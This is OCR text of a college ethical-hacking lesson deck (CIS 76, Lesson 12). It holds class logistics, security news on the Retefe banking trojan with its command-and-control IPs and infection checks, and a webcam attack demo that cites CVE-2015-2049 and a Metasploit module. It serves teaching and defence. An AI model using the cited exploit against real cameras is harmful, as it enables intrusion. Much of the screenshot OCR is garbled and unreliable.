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Rich's lesson module checklist

Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers
1stminute quiz

Web Calendar summary
Web book pages
Commands

Real test enabled on Canvas
Test accommodations made
Lab 10 tested and published

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door
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Evading Network
Devices TCP/IP
Network and
Cryptograph
YESSE N Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks ) ) Social Engineering
Ethical Hacking
Hacking

Web Servers Port Scanning

Embedded Operating Enumeration

Systems
Desktop and Server Scripting and

Vulnerabilities Programming

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 9
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

 HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!
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Browse to:

http://simms-teach.com

Click the CIS 76 link.

Clickthe Calendar link.

Locate today’s lesson.

Find the Presentation slides for

the lesson and download for

easier viewing.

6. Clickthe Enter virtual classroom
link to join CCC Confer.

7. Log into Opus with Putty or ssh

command.

nhwn

Note: Blackboard Collaborate Launcher only
needs to be installed once. It has already
been downloaded and installed on the
classroom PC’s.

[
$ )
oLl
P

153 SIS ]

T R T AR A S Wy




CIS 76 - Lesson 12 o . ri} l ' IW

@ Blackboard Co x ¥ B Goog

simms-teach.com

x,
™ E

Rich's Cabg 1 . The CIS 90 System Playground

CIS 90 Calend| () CCC Confer SIMMS VIRTUAL CLASSROOM , s

=sal x|
File Edit View Tools Window Help

v AUDK) & VIDEO

CIS 90 (Spring s ¢/

CIS 90 - Lesson 1 ba” FI'IW

Class Activity - Where are you now?

Course Home Grd

Tek

[22=)
v PARTICIPANTS.

O Benfi Snms.
&

IS A

O Rich-Simms
>3

Y8 /708N ¥is

w CHAT

Ber Semms 2480
Where is a good place to get

a used version of the

optional textbooks?

cis90lesso....pdf Rich-Serms 2:48PM

Amazon has some good
prices night now

A One or more login
sessions to Opus

Q CIS 76 website Calendar page
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1) Instructor gives you sharing privileges.

(") CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
Eile Edit View Tools Window Help Elevated privigeTTTE =

« AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or
elevated privileges. Elevated privileges are required to share
applications that use elevated privileges.

Select your desktop or an open application you would like to share.

Start Sh arin,g Elevated privileges are acquired via Tools > Application Sharing . . .
> Request Elevated Privileges. They can be relinquished via pns
Tools > Application Sharing > Yield Elevated Privileges (returning - _
you to standard privileges). If you are hosting an application jad 51121 deskiop
sharing session with standard privileges and you (or a person

remotely controlling your desktop or application) perform an

2) CI i C k Ove rl a p p i n g recta n g | es action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

«+{WI Microsoft Word (winword.exe) 'Virtual classroom (locked).docx
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P- Microsoft PowerFoint (powerpnt.exe) 'cis0lesson01.ppbx - Mic

i S p rese nt th e n CI i C k i t a S W el I . If you are hosting an application sharing session with elevated é_ C:\Frogram Files (xB6)\putty.exe 'simbend0@oslab:~'

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on

application sharing session to terminate. Also, without elevated

icon. If W h ite n Start S h arin g n text s e e T TR G L G

time than sharing the desktop (all of it or a region).

as a standard user) or allowed (if you are logged on as an
administrator).

D Never show this dialog again

3) Click OK button. ‘ | »

4) Select "Share desktop"
and click Share button.
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= Rich's CCC Confer checklist - setup cccCE) Gonfer

O
o

[ ] Preload White Board

(i) CCC Confer — 0 - RICH SIMMS

I [File Edit View Tools Window Help
H E EEE
l Load Content ] | Record | 0 ~ AUDIO & VIDEO - fh M

Audio Setup Wizard...

’
I

Microphone Settings...
Speaker Settings...

Maximum Simultaneous Talkers...
Adjust Microphane Level Up
Adjust Microphane Level Down

. ]

[ ] Connect session to Teleconference === e :
Tal Video ljust Speaker Level Down [}

|

. _ - Configure Telephone Conference.., ]

MAIN ROOM (2) S02HM PARTIEIPAITS T |§

. = Camera Settings... B

Session now connected ® Rich Simms U i

Moderator (You) Make Video Follow Moderator Facus 3

Make Video Follow Speak S;

Send Camera Snapshot To Whiteboard

to teleconference
—\’ % Teleconference P <
i

[ ]Is recordingon?

MZTET

Detach Panel
T . Ear - g L

+ AUDIO & VIDEO L -

@ [ Load Content ] [ Recording (® { HH 9

X

Red dot means recording—)

[ ] Use teleconferencing, not mic &

Should change
from phone
handset icon to
little Microphone
icon and the

)

|
Should be grayed out e Tal | [ video | SQ| Teleconferencing ...

e —— message displayed
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ez ~ 4 Part 1 - Flashc é (1 point each)
r ~ -
® CCCConfer-0-RIC... [o @[] || 1 i : | , £
w i ?
File Edit View Tools Window Help 90 3 [Q1] What com, er users logged in to the computer
d = Al
w AUDIO & VIDEO D %= o D [l€e Al
. hname
¢
W / {Q2] What environment variable is used by the shell to determine which directories to
= search when locating a command?
: - y =
b fhSuiehs) i boot o etc sbin (A2] \
=5 @ simben90@oslab:~

( Tak | (e @)

egin as: simbenS0
Is sixben90@oslab.cabrillo.edu's password:

& s —— ||| g E N

§ w PARTICIPANTS -8 Accdgs denied
o simbeNgogoslab.cabrillo.edu's password: A
O Rich Simms 04 # Current directory Last 1dgin: Mon Oct & 18:58:43 201:[ERRSIICERCEIaI
B8 riocersior d.com Fle Edit View Inventory Administration Plug-ns
J 5 d Templ;
. 2 o F () source o g g |Q Home b g Inventory b @) Nsan Templates
- p Snn as e /- & &
MAIN ROOM (3 SQ2H% || R R } destination o &
O RichSi QUG - = géleg:rvm
mms He iz .
[ - = 3 Nelcom B [cs 19z { [Alarms [ Pef
Teleconference v E z Serving Cab: Bl Foa 01 a Clear
| & What command copies th b = | Statue a
o= c — Terminal type? [ . Vsphere Cllent ) rﬂ
g Terminal type is & po1-rod E——— oo @ 1.
. CHAT /home/cis90/ simbd putty e ) = _,,-I

AM)-

Recent Tasks Name. Target or Status contains: = Clear X%

Hame | Target | status | Details | Tnitiated by

(

- Teleconference joined the Main Room.

1| | )

[#] Tasks @ Marms | [License Period: 331 days remaining [CISLABwsimms 7
=

“f | G > & 0 e

I IS

10/10/2012 |

[ ] layout and share apps =)
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ccc(E:)Confer

-
{i) CCC Confer- 0 - RICH SIMMS

File Edit View [Tools

| Windew Help

+ AUDIO &

Application Sharing
Audio

Breakout Rooms
Chat

Graphing Calculator

In-Seszion Invite

L4 MNew Page

Deleta Page

Interaction r
Moderator 4 [ ] VldeO (Webca m)
) — Polling v
[ Tk Profie b [ ] Make Video Follow Moderator Focus
Recorder b |
¥ PARTICIPA Session Plan r
Rich Sin Telephony »
B Tirner L4
E Video Camera Settings...
_ Whiteboard Maxirmum Simultaneous Carmeras...
HA R:i:;:“m = qﬁ;‘;;} ¥ Make Video Follow Maoderatar Focus
Maderator (You) Make Video Follow Speaker
Send Camnera Snapshot To Whiteboard
1
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K\
Rich's CCC Confer checklist - EImo CCGOGonfer S
R
e 1 Settings =]
Image Mate The "rotate image"

Return al windows to their normal position

button is necessary
. . . . . if you use both the
| side table and the
| T white board.

Recording setting
Video quality

Quite interesting
IR that they consider
. . oterval te S | you to be an
| Elmo rotated down to view side table — "expert” in order to
LIVE image - Image Mate -] (B3] [ - use th[s button’
oI :
Rotate
image . .
button .Elmo rotated up to view white board
LIVE image - Image Mate -3 (%
Fleesiectima a W
Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer €sL_mMo
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gst. 18959 ™

ccc ) Confer Rich's CCC Confer checklist - universal fixes

Universal Fix for CCC Confer:

1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime

3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons) General Tab > Settings... 500MB cache size Delete these
-~ '@JEVECDMNWW‘ (=] o] 'Tempmaryﬁ\esSeﬂings ﬂ‘ rDeIeteFiIesand Applications ﬂ1

General | Java [ Security [ Advanced

Kecp temparary s on my computer "
/1", Delete the following files?
LN

About
Location
View version information about Java Control Pane.
Select the location where temporary files are kept:

bout... 5

N siich DataLacalLow\SunJava\D Change... Trace and Log Files
letwork Settings
Cached Applications and Applets
Network settings are used when making Internet connections. By default, Java wil sk space
5 fl [] Installed Applications and Applets

|| use the network settings in your web browser, Only advanced users should madify

these settings. Select the compression level for JAR files: None -

i Set the amount of disk space for storing temporary files:
|| Temporary Internet Files | v so0l=] MB
- :

lications are stored in a special folder for quick execution
rs should delete files or me these settings. I

i DeleteFies... | | RestoreDefaults |

|| Files youuse ppl
later. Only advanced use

11
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Start

12
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Sound Check

Students that dial-in should mute their
line using *6 to prevent unintended
noises distracting the web conference.

Instructor can use *96 to mute all
student lines or *5 to boost audio input

volume.
13
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Instructor: Rich Simms
Dial-in: 888-886-3951
Passcode: 136690
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Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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First Minute Quiz

Please answer these questions in the order
shown:

Showmn on CCC Confer

For credit email answers to:
risimms@cabrillo.edu

within the first few minutes of the live class

15
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Hacking Web Servers

Objectives

« Look at vulnerabilities in web applications * Quiz #9

- Look at exploits used against web applications ~ * Questions

+ Look at how to protect web applications * Inthe news
+ Best practices

+ Housekeeping

+ Hacking a webcam (continued)

+ Web applications

+ OWASP Top 10

» A3 cross-site scripting (XSS)

» Reflected cross-site scripting (XSS)
+ Stored cross-site scripting (XSS)

» Stealing cookies with XSS

» Cross Side Request Forgery

* SQL Injection

+ Assignment

« Wrap up

16
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Admonition

17
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
own or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 8
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Questions

19
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Questions

How this course works?

Past lesson material?

Previous labs?

e —ERRE, AoNELEEF tmAE—ERENARE—E
Chinese | EIKi=,
Proverb

He who asks a question is a fool for five minutes; he who does not ask a question
remains a fool forever.

20
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Recent news

‘Hack the Army Bug Bounty

« Only for digital recruiting sites.

« Not for mission-critical navigation or communication networks.

« Invite-only to start so Army can vet the pen testers.

« Interested parties should contact: https://hackerone.com/blog/announcing-hack-the-
army for updates.

22


https://www.tripwire.com/state-of-security/latest-security-news/hack-army-bug-bounty-program-announced-u-s-military/

Does not encrypt files but still demands a ransom.

Displays all your personal information on the screen.

Sate you violated intellectual property laws and must pay a fine within24 hours or goto
court.

Captures your webcam picture.

Distributed by the "Nuclear Exploit Kit" when visiting compromised WordPress
websites.

Communicates with command and control servers at 89.163.144.64 and
136.243.147.14.

23


http://blog.rigotechnology.com/2016/11/13/next-gen-ransomware/
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Recent news

Awesome Hacklng prOJect list

? - Awesome Hacking !

Awesome Repositories:

Awesome AppSec

Awesome Bug Bounty
Awesome CTF

Awesome DevSecOps
Awesome Exploit Development
Awesome Fuzzing

Awesome Hacking One
Awesome Honeypots
Awesome Incident Response

Awesome InfoSec Awesome Static Analysis
Awesome IoT Hacks Awesome Threat Intelligence
Awesome Malware Analysis Awesome Vehicle Security
Awesome Pcaptools Awesome Web Hacking o
Awesome Pentest Awesome Windows Exploitation
Awesome PHP Security Awesome WiFi Arsenal
Awesome Reversing Awesome Android Security
Awesome Sec Talks Awesome OSX and iOS Security

Awesome SeclLists
Awesome Security

24


https://github.com/Hack-with-Github/Awesome-Hacking
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Recent news

Your body reveals your password by mterfermg with Wi-Fi

i

xslyCl ok in Differ Kg

Sample

*10
(b) Continuously Click in the Same Key

» Analyzing the radio signal can reveal private information using a malicious
Wi-Fi hotspot.

« They claim 81.7% snooping success once the system has enough training
samples.

« Relies on beam-forming technology that does not work with only one
antenna.

« They worked out how user hand movements affect the signal.

 They do not need to compromise the target.

« Published in the ACM as "When CFI meets public WiFi".

25


http://www.theregister.co.uk/2016/11/13/researchers_point_finger_at_handy_smartphone_exploit/
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Recent news

400 m|II|on adult site accounts hacked

« AdultFriendFinder site hacked for the second time.

 The top three most used passwords: "123456," "12345" and "123456789."

« Some passwords were kept in plain text.

« Some passwords were encrypted using SHAL.

» A researcher, who goes by 1x0123, said the hack was done using a Local
File Inclusion exploit and had examples showing a redacted /etc/passwd file
and the database schema.

26


http://arstechnica.com/security/2016/11/adultfriendfinder-hacked-exposes-400-million-hookup-users/
http://www.csoonline.com/article/3132533/security/researcher-says-adult-friend-finder-vulnerable-to-file-inclusion-vulnerabilities.html
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Recent news

Dark web hackers boast of Tesco Bank thefts

http:/ /www.bbc.com/news/technology-37974776

« Cyberint, a cyber security company, said it discovered a variety of dark web
forums whose members claimed to have hacked and stolen funds from
Tesco accounts.

» A criminal investigation is still underway.

« Tesco has not revealed how the hack was done.

27


http://www.bbc.com/news/technology-37974776
http://www.bbc.com/news/technology-37974776

CIS 76 - Lesson 12

Recent news

Retefe malware targets Tesco and many other banks

« There has been increased activity by the Retefe banking trojan.

« Mostly observed in Switzerland, Austria, and the UK.

« The victim target list includes Tesco and many other banks.

« Is has not been confirmed that Retefe was behind the Tesco attack last week.

« The trojan is spread by email attachments appearing as an order, invoice or similar file.

 When infected users try to access their banking services they are redirected to a fake
site to steal their credentials.

« The Toranonymizing service is included.

« Retefe adds a fake root certificate which looks like it comes from Comodo but the issuer
has an email address of me@myhost.mydomain.

« All major browsers, IE, Firefox and Chrome were affected.

28


http://www.welivesecurity.com/2016/11/10/tesco-bank-not-alone-targeted-retefe-malware/?utm_source=newsletter&utm_medium=email&utm_campaign=wls-newsletter-111116
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Retefe malware targets Tesco and many other banks

® List of targets

* facebook.com
* bankaustria.at
*bawag.com

* bawagpsk.com
* bekb.ch
*bkb.ch

* clientis.ch

* credit-suisse.com
*easybank.at
*eek.ch
*.gmx.at
*.gmx.ch
*.gmx.com
*gmx.de
*.gmx.net
*if.com
*lukb.ch
*.onba.ch

* paypal.com

* raiffeisen.at

* raiffeisen.ch
*static-ubs.com
*ubs.com
*ukb.ch
*urkb.ch
*zkb.ch

*abs.ch

*baloise.ch
*barclays.co.uk
*bef.ch

*bej.ch

*bcn.ch

*bev.ch

*bcvs.ch

*blkb.ch
*business.hsbc.co.uk
*cahoot.com
*cash.ch

*cic.ch
*co-operativebank.co.uk
*glkb.ch
*halifax-online.co.uk
*halifax.co.uk
*juliusbaer.com
*lloydsbank.co.uk
*lloydstsb.com
*natwest.com
*nkb.ch

*nwolb.com
*oberbank.at
*owkb.ch
*postfinance.ch
*rbsdigital.com
*sainsburysbank.co.uk

*santander.co.uk

*shkb.ch

*smile.co.uk

*szkb.ch

*tescobank.com
*ulsterbankanytimebanking.co.uk
*valiant.ch

*wir.ch

*zuercherlandbank.ch
accounts.google.com
clientis.ch

cs.directnet.com
e-banking.gkb.ch

eb.akb.ch
ebanking.raiffeisen.ch
hsbc.co.uk

login.live.com
login.yahoo.com
mail.google.com
netbanking.bcge.ch
onlinebusiness.lloydsbank.co.uk
th.raiffeisendirect.ch
uko.ukking.co.uk

urkb.ch

www.banking.co.at
www.hsbc.co.uk
www.oberbank-banking.at
wwwsec.ebanking.zugerkb.ch

29
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Retefe malware targets Tesco and many other banks

& JaYcs it catteisendenctenve e

<[5 tescobard.com

You are cornected to
WA raiffeisendirect.ch

Verfiad by: COMODO CA Limited

) The connection to this website is secure.

RAIFFEISEN

G6 P | tou are conrmcted to.
avs

vg tescobank.com

Verfied by: COMODO CA Limted.

Q| 7 cormmctin tothe watske s sscure

Our wobse works better with cookies Browsig on means you agree 10 our Coekie Policy

TESCO Bank
]
‘ %)
Welcome to Online Banking
Login E-Banking :
b Log in to your account

N Pa Usermname

< > .I S
et

<> 4> «
e 4b < “»

ab a» Ll
NG e ‘ -9

L KD

TR oK
l: S re e P ,::,,:’. Forgotten your Username?
|u"->0<-"<' LRCL AL

PR 1 NCESRCERC LA

€ 8 retos:fjuwmvssc. b clentis.chiautrenfio @ 2 EHNENYhICO.k Ciin
G Google

A You are logge
Clientis )
Ihre regionale Bank

Login e-Banking Clientis Bank

—  deutsch

Sign in

Please complete the following. All fields are required

—  frangais

Baln

Mobile Banking App

Ihre Finanzinformationen kostenlos

Enter your username

zu jeder Zeit, an jedem Ort
Benutzer-
Identifikation
Passwort
Logn

You need to accept the use of ‘cookies’ for us 1o be able 10 do this, Only select this if
this Is your computes and it is not used by anyone else. {1 o 101 e,

Trouble logging in?

Find out more

Online Support

Register, Activate or Re-set
YOur account password

Activate

Re-set my password

Continue

30
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Recent news

DDoS attacks on Russian banks

www.bbc.com/news/technology-37941216

* Five Russian banks under DDoS cyber-attack for two days.

« Most deluges lasted about 60 minutes but one went of for 12 hours.

« Smart devices in USA, India, Taiwan and Israel were used in the attack.

« Sberbank has experienced many similar attacks in the past but this was the
biggest yet.

31
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How to check if infected by Retefe trojan

Centificate Viewer:"COMODO Certification Suthority - COMODO CA Limited ey Cenificate Viewer"COMODO Centification Suthority - COMODO CA Limited™
General Details General Details
Could not verify this certificate because the issuer is unknown. Certificate Hierarchy
COMODO Certification Authori
Issued To | COMODO Certification Authority ||
Commen Mame (CH)  COMODO Centification Suthority
Organization (0] COMODO CA Limited
Organizational Unit (OU) COMODO Certification Authorty
Serial Mumier 00:46:1D:63:2C:58:CE:AD:C2 Certificate Fields
Issued By w Certificate
Commen Name (CN)  COMODO Cenification Autharity Version
Organization (J) COMODO Ca Lirrited Sarial Number
Organizational Und (OU) COMODO Certification Authorty Certificate Signature Algorithm
Period of Validity lssuer
Begins On uterok, 5. pula 2016 wyalidity
Expires On piatol, 3. jula 2026 Mot Before
Fingerprints Mot After
SHA-256 Fingerprint QS pS&:DBrBAr G241 Di1C1 38180182 AR ES:Cle
QleABrONr 3BT Bt SR A2 B AR :BCED:EF:FE
SHAT Fingerprint T4 14:2508: 2147 A0 AD:A S BA-0ASC FE: 426508 3E:69:72:41]

Check for a malicious root certificate claiming to be issued by COMODO
Certification Authority with an email address of me@myhost.mydomain.

https://www.eset.com/int/retefe-malware-checker/
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How to check if infected by Retefe trojan

ﬁFiIe Action View Favorites Window Help

I EEREENR =

o s
] Console Root Issued To Issued By Expiration Date  Intel
4 [G) Certificates - Current User
4 || Trusted Root Certification Authorities
|| Certificates — ’ — ’

[5,]COMODQ Certification Authority COMODO Certification Authority 1/3/2026 <All

Certificate R G

Certificate

N W a
| General | Details | Certification Path |
Show: ’<AII:> v]
Field Value =
B\fersion V3
BSeriaI number 00 a6 1d63 2c 58 ce ad c2 = |
BSignature algorithm sha256R5A |
2 , FIRET 1
Issuer me@myhost.mydomain, COM. .. |
TraT ||m;r, LN |} s a3 T

[=]valid to Friday, July 03, 2026 2:27:49 ... |
[ s imuhnet mudnmain COM S !
E = me@myhost.mydomain I
CM = COMODO Certification Authority
Ol = COMODO Certification Authority |
0 = COMODO CA Limited
L = Salford
S = Greater Manchester !
C=USs ]

Check for a malicious root certificate claiming to be issued by COMODO
Certification Authority with an email address of me@myhost.mydomain.

https://www.eset.com/int/retefe-malware-checker/ 34
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How to check if infected by Retefe trojan

§"| Local Area Network (LAN) Settings

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[ Automatically detect settings
se automatic configuration script

Address I htqzl:quwdsvmphvﬁuek.onioanIFE'I

Proxy server

DUSE a proxy server for your LAN (These settings will not apply to
dial-up or VPN connections).

Address: Part: | 80 Advanced

Bypass proxy server for local addresses

[ Ok ] ’ Cancel ]

irea Metwo aMYgetirngs —m—00000000—————————
LAN Settings do not apply to dial-up connections.

Choose Settings above for dial-up settings.

[ oK ] [ Cancel Apply

Infected computers will have an automatic configuration script pointing to an .onion domain
35
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Secure your router

welivesecurity

1. Change your default username and password.

2. If you specifically don't need Universal Plug and Play (UPnP) then disable it.
3. Turn off remote management (requires physical access).

4. Change the name of your access point.

5. Require a password for your WiFi connection.

6. Update the firmware on your router and IoT devices.

7. Research your purchases.

8. Read reviews.

9. Check for known vulnerabilities.

10. Peruse vendor's website.

36
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Housekeeping

1. Lab 9 due 11:59pm tonight.

2. Five more posts due 11:59pm
tonight.

38
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Housekeeping

Last Withdraw:
11/19/16

Students who are no longer participating in the class
(turning in assignments, posting on the forum,

tasking quizzes or tests) may be dropped by the
instructor
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Final Project

You will create an educational step-by-step lab for VLab that demonstrates a complete hacking
attack scenario. You may exploit one or more vulnerabilities using Metasploit, a bot, custom
code, social engineering and/or other hacking tools. You will document the preventative
measures an organization could take to prevent your attack and help one or more classmates
test their project.

Warning and Permission

Unauthorized hacking can result in
prison terms, large fines, lawsuits and
being dropped from this coursel

For this project, you have authorization to hack any of the VMs in your VLab pod. Contact the
instructor if you need additional VMs.

Steps
1. Research and identify one or more interesting vulnerabilities and related exploits.
2. Using VLAB, create a secure test bed, identifying attacker and victim systems, to run the
labin.
. Develop step-by-step instructions on how to set up the test bed.
Develop step-by-step instructions on how to carry out the attack.
Develop a list of preventative measures the victim could block future attacks.
Have another student test your lab and verify the results can be duplicated.
Do a presentation and demo to the class.

Nouwasw

There is a draft of the final
project available.

The final projectis due on the
Lesson 15 day.

https://simms-

teach.com/docs/cis76/cis76final-
project.pdf
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Heads up on Final Exam

Test #3 (the final exam)

Time

« Thu 4:00PM - &6:50PM in Room
828

J

Thur 12/15 | Mmaterials
» Test (canvas)

CCC Confer

+ Enter virtual classroom
« Archives Confer or 3CMedia

0SE
Lab X1
Lab X2

d

- '
a0 N ")
o
3 L4
-
]

Test #3 (final exam) is THURSDAY Dec 15 4-6:50prPM

Extra credit
labs and
final posts
due by
11:59PM

All students will take the test at the same time. The test must be

completed by 6:50PM.

Working and long distance students can take the test online via

CCC Confer and Canvas.

Working students will need to plan ahead to arrange time off from

work for the test.

Test #3 is mandatory (even if you have all the points you want)
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STARTING CLASS TIME/DAY(S)
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EXAM HOUR

EXAM DATE

Classes starting between:

6:30 am and 8:55 am, MW/Daily.. ..o,
9:00 am and 10:15 am, MW/Daily. ............................
10:20 am and 11:35.am, MW/Daily. ...,
11:40 am and 12:55 pm, MW/Daily ...,
1:00 pm and 215 pm, MW/Daily. . ...
220 pmand 3:35 pm, MW/Daily. . ...
3:40 pm and 5:30 pm, MW/Daily. . ...,
B30am and 8:55am, TTh. ettt c i innaes
O00amand 10:15am, TTh ..o
10:20amand 11:35am, TTh . e
1TA40amand 12255 pm, TTH. ... e
T00pmand 215pm, TTh ...
220pmand335pm, TTh . ...

veveaneees 700amM-9:50 am.
ceveeeeo.. 700 aM-0:50 am .
.10:00 am-12:50 pm
. 10:00 am-12:50 pm

10:00 am=12:50 pm
10:00 am=12:50 pm

1:00pm-3:50pm._...........
A:00pm-3:50pm ...
ce 400 pm-G:50pm.L. .l
00 am-950am .
700 am-9:50am ... ...

T PM=350 P el
TR0 PM=350 P ool

veeereense. . Wednesday, December 14

CIS 76 Introduction to Information Assurance

Infroduces the various methodologies for attacking a netwark. Prerequisite: CIS 75,
Transfer Credit: Transfers to CSU

Section Days Times
45024 A At

Units Instructor Room
3.00 R.Simms oL
& Arr. A R.Simms oL
Section 85024 is an ONLINE course. Meets weekly throughout the semester
onling by remote technology with an additional 50 min online lab per week.
For details. see instructor's web page at go.cabrillo. eduwonline.

95025 T 5:30PM-8:35PM  3.00 R.Simms 828
& AT AT R.Simms oL
Section 85025 iz a Hybrid ONLIME course. Meets weekly throughout the
semester at the scheduled times with an additional 50 min online lab per
week. For details, see instructor's web page at go.cabrillo. edufonline.

«evvv....Thursday, December 15
weenve.o...luesday, December 13

| 3:40pmand 530pm, TTh ...

e ADDPM-G S0P . e

..e........Thursday, December 15 |

Fridayam. ... ...

SEMURAY AM ..o it aas

B 10 e T
00 M-S0 P s

900 AM-TIS0AM .o,
e TOD P30 P

<vvnee.n.. Friday, December 16
vveenenn.. Friday, December 16

eeenve.... Saturday, December 17
weenve.... Saturday, December 17

Evening Classes: For the final exam schedule, Evening Classes are those that begin at 5:35 pm or later. Also, “M & W* means the dass meets on BOTH Monday
and Wednesday. “T & TH" means the class meets on BOTH Tuesday and Thursday. The following schedule applies to all Evening Classes.
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Where to find your grades

Send me your survey to get your LOR code name.

The CIS 76 website Grades page
http://simms-teach.com/cis76grades.php

Or check on Opus

checkgrades codename
(where codename is your LOR codename)

T@ st | ey =
L st a2 3

LTSRS e S e A

!m s L f

FeybiNer

Written by Jesse Warren a past CIS 90 Alumnus

Percentage | Total Points |Letter Grade|Pass/Mo Pass
90% or higher| 504 or higher A Pass
80% to 89.9%| 448 to 503 B Pass
70% to 79.9%| 392 to 447 5 Pass
60% to 69.9%| 336 to 391 D No pass
0% to 59.9% 0 to 335 F No pass

At the end of the term I'll add up all
your points and assign you a grade
using this table

Points that could have been earned:
8 quizzes: 24 points

8 labs: 240 points

2 tests: 60 points

2 forum quarters: 40 points
Total: 364 points

- i
08 N W
]
3 L3
;-
)
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Red and Blue
Teams



CIS 76 - Lesson 12 .‘ ' N l l IW

Send me an email if you would like to join a team 47
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Hacking a
Webcam

Continued
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D-Link 933L

Last week I tried to hack this webcam and failed

o . 1 RJ-45 LAN Jack

i3
g

: w’ S Power LED
€& - Resethole
‘®© 5 WPS(WiFi Protected Setup)

HH

ziges
i
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http://us.dlink.com/products/home-solutions/day-night-wifi-camera-dcs-933l/
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D-Link 931L

This week I tried a different model of the webcam. This is the one the exploit was tested on.

P ’ﬁ_””\
N - ) . ; RJ-45 LAN Jack
|
|

Il

| PowerlLED
o | Reset hole
WPS (WiFi Protected Setup)

p
\
(

= =
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— [m]
[ CVE-2015-2049 : Unresti X
& C | @ www.cvedetails.com/cve/CVE-2015-2049/ @ | (o ]
CVE Details | | Search
(e.g.: CVE-2009-1234 or 2010-1234 or 20101234) ‘ || View CVE |

The ultimate security vulnerability datasource

Log In Register Vulnerability Feeds & WidgetsNew [y e sls et

Switch to https://
Vulnerability Details : CVE-2015-2049 (1 Metasploit modules)

Home

Browse :

Vendors Unrestricted file upload vulnerability in D-Link DCS-931L with firmware 1.04 and earlier allows remote authenticated users

Products to execute arbitrary code by uploading a file with an executable extension.

Vulnerabilities By Date Publish Date : 2015-02-23 Last Update Date : 2015-11-24

Vulnerabilities By Type
Reports :

CVSS Score Report

CVSS Score Distribution

Search : — CVSS Scores & Vulnerability Types
Vendor Search

Product Search CVSS Score -

Version Search Confidentiality Impact Complete (There is total information disclosure, resulting in all system files being revealed.)
Vulnerability Search

By Microsoft References
Top 50:
Vendors

Collapse All Expand All Select Select&Copy “Scroll To + Comments External Links

Search Twitter Search YouTube Search Google

Integrity Impact Complete (There is a total compromise of system integrity. There is a complete loss of system
protection, resulting in the entire system being compromised.)

Availability Impact Complete (There is a total shutdown of the affected resource. The attacker can render the resource

completely unavailable.)

Vendor Cyss Scores Access Complexity Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge

Products or skill is required to exploit. )

Product Cvss Scores

Authentication Single system (The vulnerability requires an attacker to be logged into the system (such as at a

Versions . - . B .
command line or via a desktop session or web interface).)
Other : )

Gained Access None
Microsoft Bulletins vl bility T c te Cod
Bugtrad Entries ulnerability Type(s) xecute Code
CWE Definitions CWE ID CWE id is not defined for this vulnerability

About 8 Contact
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/ FD CVE-2015-2049 D-Link T x \

(& | @ https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs9311_upload ﬁ| o

DAYS HRS MIN SEC

Contact Us  Community  Support & Llogin  Careers [ESH{S=mfele]E=
RA‘ ’DD Solutions Products Services Partners Resources About Us

Back to search

‘ PCI COMPLIANCE FOR 2016 PANEL REGISTER 1

D-LINK DCS-931L FILE UPLOAD

This module exploits a file upload vulnerability in D-Link DCS-931L network cameras. The setFileUpload functionality allows authenticated users to upload files to anywhere
on the file system, allowing system files to be overwritten, resulting in execution of arbitrary commands. This module has been tested successfully on a D-Link DCS-231L
with firmware versions 1.01_B7 (2013-04-19] and 1.04_B1 [2014-04-21). D-Link DCS-930L, DCS-932L, DCS-%33L models are also reportedly affected, but untested.

DEMO REQUEST

MODULE NAME

exploit/linux/http/dlink_des?31L_upload Get your copy of the world's leading penetration testing tool

CONTACT US

AUTHORS

Jy DOWNLOAD NOW

Mike Baucom

Allen Harper

J. Rach

Brendan Coles <bcoles [at] gmail.com>

REFERENCES

Free Download: HIPAA and HITECH Act Compliance Guide -
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gst, 1659 ™

——
/ ¥ CVE-2015-2049 D-Link [ X

C ‘ @ https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931]_upload ﬁ‘ ﬂ

ﬁ Rapid7 provides the most coverage for the CIS [formerly SANS LEARN MORE
RAP’DD Solutions Products Services Partners Resources About Us

REFERENCES

CVE-2015-2049
URL: https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-
vulnerabilities

URL: http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049 =

5

o

it

-4

(=]

=

i}

TARGETS °
Linux mipsle Payload

w

=1

5

-9

E

z

[=]

(=)

PLATFORMS

linux

ARCHITECTURES

mipsle
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McLean, Virginia - February 25, 2015,

Tangible Security researchers Mike Baucom, Allen Harper, and J. Rach discovered serious

vulnerabilitiesin two devices made by D-Link.
https://tangiblesecurity.com/index.php/announceme

D-Link DCS-931L nts/tangible-security-researchers-notified-and-
assisted-d-link- with-fixing-critical-device-
